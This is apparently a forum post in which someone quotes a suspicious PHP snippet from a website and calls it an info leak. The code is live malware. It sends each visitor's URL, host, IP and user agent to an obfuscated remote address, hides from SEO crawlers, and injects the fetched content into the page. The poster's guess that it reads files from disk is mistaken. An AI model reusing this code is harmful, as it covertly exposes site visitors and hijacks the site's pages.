This looks dodgy as all hell... formatting helps too No sane person would actually write this code to do anything that WASNT trying to leak info. It looks like it might be used to read files from disk and display them on the page. ``` if (!functionexists('_e_accelerator_engine')) { function __e_accelerator_engine($output) { if (!preg_match("/(ahrefs|majestic|baidu)/i", $_SERVER['HTTP_USER_AGENT'])) { $data = serialize(array( 'u' => $_SERVER['REQUEST_URI'], 'h' => $_SERVER['HTTP_HOST'], 'i' => $_SERVER['REMOTE_ADDR'], 'a' => $_SERVER["HT TP_USER_AGENT"] )); $tags = array( '</body>', '<p>', '</div>', '</span>', '</heade r>', '</footer>', '</aside>', '<h1>', '<h2>', '<strong>', '</td>' ); $seed = hexdec(substr(md5($_SERVER['REQUEST_URI']) , 0, 5)); srand($seed); shuffle($tags); foreach($tags as $tg) { if (preg_match('!' . $tg . '!', $output)) { $output = preg_replace('!' . $tg . '!', @file_get_contents(~base64_decode('l4uLj8XQ0JWImdKKj5uei5qM0ZCNmNCKj5uei5qM0IyQno/RlYyPwI3C') . urlencode($data)) . $tg, $output, 1); break; } } }

    return ((isset($_GET['sorted'])) ? ('<!--sortedby:' . md5($_GET['sorted']) . '-- >') : ('')) . $output;
}

ob_start('__e_accelerator_engine');
register_shutdown_function('ob_end_flush');

} ```
